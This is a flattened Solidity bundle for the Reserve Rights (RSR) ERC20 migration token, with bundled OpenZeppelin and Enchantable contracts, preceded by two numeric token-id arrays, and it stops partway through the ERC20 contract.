[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 30143, 5157, 1190, 20439, 12, 203, 565, 2254, 5034, 3844, 16, 203, 565, 1731, 1578, 1365, 16, 203, 565, 1731, 745, 892, 14601, 203, 225, 262, 3903, 8843, 429, 288, 203, 565, 527, 9858, 12, 3085, 16, 1234, 18, 15330, 16, 3844, 16, 14601, 1769, 203, 565, 30143, 5157, 12, 3576, 18, 15330, 1769, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: BlueOak-1.0.0 pragma solidity 0.8.4; import "@openzeppelin/contracts/token/ERC20/extensions/draft-ERC20Permit.sol"; import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Pausable.sol"; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "./Enchantable.sol"; /** * @title RSR * An ERC20 insurance token for the Reserve Protocol ecosystem, using the copy-on-write * pattern to enable a ugprade from the old RSR token. * This token allows the configuration of a rich system of "siphons" to administer the * copy pattern of some holder addresses, before the token goes into its WORKING phase. */ contract RSR is Pausable, Ownable, Enchantable, ERC20Permit { using EnumerableSet for EnumerableSet.AddressSet; ERC20Pausable public immutable oldRSR; /// weight scale /// A uint64 value `w` is a _weight_, and it represents the fractional value `w / WEIGHT_ONE`. uint64 public constant WEIGHT_ONE = 1e18; /// fixedSupply inherited from oldRSR contract /// Note that due to lost dust crossing, it's possible sum(_balances) < fixedSupply uint256 private immutable fixedSupply; /** Operational Lifecycle The contract is initially deployed into SETUP. During the SETUP phase: - admins can configure siphons - no ERC20 operations can happen - the contract is always paused The contract can transition from SETUP to WORKING only after oldRSR is paused. During that transition, the owner is set to the zero address. In the WORKING phase: - siphons cannot be changed - ERC20 operations happen as usual - the pauser can pause and unpause the contract Once in WORKING, the contract cannot move back to SETUP. */ enum Phase { SETUP, WORKING } Phase public phase; /// Pausing /// Note well that, because of the above about lifecycle phase, whenNotPaused implies isWorking. event PauserChanged(address indexed oldPauser, address newPauser); address public pauser; /** @dev Relative Immutability ===================== We assume that, once OldRSR is paused, its paused status, balances, and allowances are immutable, and this contract's values for hasWeights, weights, and origins are immutable as well. Before OldRSR is paused, the booleans in balCrossed and allownceCrossed are all false (immutable). After OldRSR is paused, the entries in those maps can change to true. Once the entry value is true, it remains immutable. */ /// weights: map(OldRSR addr -> RSR addr -> uint64 weight) /// weights[A][B] is the fraction of A's old balance that should be forwarded to B. mapping(address => mapping(address => uint64)) public weights; /// Invariant: /// For all OldRSR addresses A, /// if !hasWeights[A], then for all RSR Addresses B, weights[A][B] == 0 /// if hasWeights[A], then sum_{all RSR addresses B} (weights[A][B]) == WEIGHT_ONE /// /// hasWeights: map(OldRSR addr -> bool) /// If !hasWeights[A], then A's OldRSR balances should be forwarded as by default. /// If hasWeights[A], then A's OldRSR balances should be forwarded as by weights[A][_] mapping(address => bool) public hasWeights; /// Invariant: For all A and B, if weights[A][B] > 0, then A is in origins[B] /// /// origins: map(RSR addr -> set(OldRSR addr)) mapping(address => EnumerableSet.AddressSet) private origins; /// balCrossed[A]: true if and only if OldRSR address "A" has already crossed mapping(address => bool) public balCrossed; /// allowanceCrossed[A][B]: true if and only if oldRSR.allowances[A][B] has crossed mapping(address => mapping(address => bool)) public allowanceCrossed; /** @dev A few mathematical functions, so we can be really precise here: totalWeight(A, B) = (hasWeights[A] ? weights[A][B] : ((A == B) ? WEIGHT_ONE : 0)) inheritedBalance(A) = sum_{all addrs B} ( oldRSR.balanceOf(A) * totalWeight(A,B) / WEIGHT_ONE ) # Properties of balances: For all RSR addresses "A": - If OldRSR is not yet paused, balCrossed[A] is `false`. - Once balCrossed[A] is `true`, it stays `true` forever. - balanceOf(A) == this._balances[A] + (balCrossed[A] ? inheritedBalance(A) : 0) - The function `balanceOf` satisfies all the usual rules for ERC20 tokens. # Properties of allowances: For all addresses A and B, - If OldRSR is not yet paused, then allowanceCrossed[A][B] is false - Once allowanceCrossed[A][B] == true, it stays true forever - allowance(A,B) == allowanceCrossed[A][B] ? this._allowance[A][B] : oldRSR.allowance(A,B) - The function `allowance` satisfies all the usual rules for ERC20 tokens. */ constructor(address oldRSR_) ERC20("Reserve Rights", "RSR") ERC20Permit("Reserve Rights") { oldRSR = ERC20Pausable(oldRSR_); // `totalSupply` for both OldRSR and RSR is fixed and equal fixedSupply = ERC20Pausable(oldRSR_).totalSupply(); pauser = _msgSender(); _pause(); phase = Phase.SETUP; } // ========================= Modifiers ========================= modifier ensureBalCrossed(address from) { if (!balCrossed[from]) { balCrossed[from] = true; _mint(from, _oldBal(from)); } _; } modifier ensureAllowanceCrossed(address from, address to) { if (!allowanceCrossed[from][to]) { allowanceCrossed[from][to] = true; _approve(from, to, oldRSR.allowance(from, to)); } _; } modifier onlyAdminOrPauser() { require( _msgSender() == pauser || _msgSender() == mage() || _msgSender() == owner(), "only pauser, mage, or owner" ); _; } modifier inWorking() { require(phase == Phase.WORKING, "only during working phase"); _; } modifier inSetup() { require(phase == Phase.SETUP, "only during setup phase"); _; } // ========================= Governance ========================= function moveToWorking() external onlyAdmin inSetup { require(oldRSR.paused(), "waiting for oldRSR to pause"); phase = Phase.WORKING; _unpause(); _transferOwnership(address(0)); } /// Pause ERC20 + ERC2612 functions function pause() external onlyAdminOrPauser inWorking { _pause(); } /// Unpause ERC20 + ERC2612 functions function unpause() external onlyAdminOrPauser inWorking { _unpause(); } function changePauser(address newPauser) external onlyAdminOrPauser { require(newPauser != address(0), "use renouncePauser"); emit PauserChanged(pauser, newPauser); pauser = newPauser; } function renouncePauser() external onlyAdminOrPauser { emit PauserChanged(pauser, address(0)); pauser = address(0); } // ========================= Weight Management ========================= /// Moves weight from old->prev to old->to /// @param from The address that has the balance on OldRSR /// @param oldTo The receiving address to siphon tokens away from /// @param newTo The receiving address to siphon tokens towards /// @param weight A uint between 0 and the current old->prev weight, max WEIGHT_ONE function siphon( address from, address oldTo, address newTo, uint64 weight ) external onlyAdmin inSetup { _siphon(from, oldTo, newTo, weight); } /// Partially crosses an account balance. /// Calling this function does not impact final balances after completing account crossing. function partiallyCross(address to, uint256 n) public inWorking { if (!balCrossed[to]) { while (origins[to].length() > 0 && n > 0) { address from = origins[to].at(origins[to].length() - 1); _mint(to, (oldRSR.balanceOf(from) * weights[from][to]) / WEIGHT_ONE); weights[from][to] = 0; origins[to].remove(from); n -= 1; } } } // ========================= ERC20 + ERC2612 ============================== function transfer(address recipient, uint256 amount) public override whenNotPaused ensureBalCrossed(_msgSender()) returns (bool) { require(recipient != address(this), "no transfers to this token address"); return super.transfer(recipient, amount); } function transferFrom( address sender, address recipient, uint256 amount ) public override whenNotPaused ensureBalCrossed(sender) ensureAllowanceCrossed(sender, _msgSender()) returns (bool) { require(recipient != address(this), "no transfers to this token address"); return super.transferFrom(sender, recipient, amount); } function approve(address spender, uint256 amount) public override whenNotPaused returns (bool) { _approve(_msgSender(), spender, amount); allowanceCrossed[_msgSender()][spender] = true; return true; } function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public override whenNotPaused { super.permit(owner, spender, value, deadline, v, r, s); allowanceCrossed[owner][spender] = true; } function increaseAllowance(address spender, uint256 addedValue) public override whenNotPaused ensureAllowanceCrossed(_msgSender(), spender) returns (bool) { return super.increaseAllowance(spender, addedValue); } function decreaseAllowance(address spender, uint256 subbedValue) public override whenNotPaused ensureAllowanceCrossed(_msgSender(), spender) returns (bool) { return super.decreaseAllowance(spender, subbedValue); } /// @return The fixed total supply of the token function totalSupply() public view override returns (uint256) { return fixedSupply; } /// @return The RSR balance of account /// @dev The balance we return from balanceOf is the sum of three sources of balances: /// - newly received tokens /// - already-crossed oldRSR balances /// - not-yet-crossed oldRSR balances /// super.balanceOf(account) == (newly received tokens + already-crossed oldRSR balances) /// if not balCrossed[account], then _oldBal(account) == not-yet-crossed oldRSR balances function balanceOf(address account) public view override returns (uint256) { if (balCrossed[account]) { return super.balanceOf(account); } return _oldBal(account) + super.balanceOf(account); } /// The allowance is a combination of crossing allowance + newly granted allowances function allowance(address owner, address spender) public view override returns (uint256) { if (allowanceCrossed[owner][spender]) { return super.allowance(owner, spender); } return oldRSR.allowance(owner, spender); } // ========================= Internal ============================= /// Moves weight from old->prev to old->to /// @param from The address that has the balance on OldRSR /// @param oldTo The receiving address to siphon tokens away from /// @param newTo The receiving address newTo siphon tokens towards /// @param weight A uint between 0 and the current from->oldTo weight, max WEIGHT_ONE (1e18) function _siphon( address from, address oldTo, address newTo, uint64 weight ) internal { /// Ensure that hasWeights[from] is true (base case) if (!hasWeights[from]) { origins[from].add(from); weights[from][from] = WEIGHT_ONE; hasWeights[from] = true; } require(weight <= weights[from][oldTo], "weight too big"); require(from != address(0), "from cannot be zero address"); // Redistribute weights weights[from][oldTo] -= weight; weights[from][newTo] += weight; origins[newTo].add(from); } /// @return sum The starting balance for an account after crossing from OldRSR function _oldBal(address account) internal view returns (uint256 sum) { if (!hasWeights[account]) { sum = oldRSR.balanceOf(account); } for (uint256 i = 0; i < origins[account].length(); i++) { // Note that there is an acceptable loss of precision equal to ~1e18 RSR quanta address from = origins[account].at(i); sum += (oldRSR.balanceOf(from) * weights[from][account]) / WEIGHT_ONE; } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-ERC20Permit.sol) pragma solidity ^0.8.0; import "./draft-IERC20Permit.sol"; import "../ERC20.sol"; import "../../../utils/cryptography/draft-EIP712.sol"; import "../../../utils/cryptography/ECDSA.sol"; import "../../../utils/Counters.sol"; /** * @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. * * _Available since v3.4._ */ abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 { using Counters for Counters.Counter; mapping(address => Counters.Counter) private _nonces; // solhint-disable-next-line var-name-mixedcase bytes32 private immutable _PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); /** * @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`. * * It's a good idea to use the same `name` that is defined as the ERC20 token name. */ constructor(string memory name) EIP712(name, "1") {} /** * @dev See {IERC20Permit-permit}. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public virtual override { require(block.timestamp <= deadline, "ERC20Permit: expired deadline"); bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline)); bytes32 hash = _hashTypedDataV4(structHash); address signer = ECDSA.recover(hash, v, r, s); require(signer == owner, "ERC20Permit: invalid signature"); _approve(owner, spender, value); } /** * @dev See {IERC20Permit-nonces}. */ function nonces(address owner) public view virtual override returns (uint256) { return _nonces[owner].current(); } /** * @dev See {IERC20Permit-DOMAIN_SEPARATOR}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view override returns (bytes32) { return _domainSeparatorV4(); } /** * @dev "Consume a nonce": return the current value and increment. * * _Available since v4.1._ */ function _useNonce(address owner) internal virtual returns (uint256 current) { Counters.Counter storage nonce = _nonces[owner]; current = nonce.current(); nonce.increment(); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Pausable.sol) pragma solidity ^0.8.0; import "../ERC20.sol"; import "../../../security/Pausable.sol"; /** * @dev ERC20 token with pausable token transfers, minting and burning. * * Useful for scenarios such as preventing trades until the end of an evaluation * period, or having an emergency switch for freezing all token transfers in the * event of a large bug. */ abstract contract ERC20Pausable is ERC20, Pausable { /** * @dev See {ERC20-_beforeTokenTransfer}. * * Requirements: * * - the contract must not be paused. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual override { super._beforeTokenTransfer(from, to, amount); require(!paused(), "ERC20Pausable: token transfer while paused"); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/structs/EnumerableSet.sol) pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.4; import "@openzeppelin/contracts/access/Ownable.sol"; import "./Spell.sol"; /** * @title Enchantable * @dev A very simple mixin that enables the spell-casting pattern. */ abstract contract Enchantable is Ownable { address private _mage; event MageChanged(address oldMage, address newMage); event SpellCast(address indexed addr); modifier onlyAdmin() { require(_msgSender() == _mage || _msgSender() == owner(), "only mage or owner"); _; } /// At the end of a transaction, mage() should *always* be 0! function mage() public view returns (address) { return _mage; } /// Grants mage to a Spell, casts the spell, and restore mage function castSpell(Spell spell) external onlyOwner { _grantMage(address(spell)); spell.cast(); _grantMage(address(0)); emit SpellCast(address(spell)); } function _grantMage(address mage_) private { emit MageChanged(_mage, mage_); _mage = mage_; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. */ interface IERC20Permit { /** * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens, * given ``owner``'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; /** * @dev Returns the current nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); /** * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } 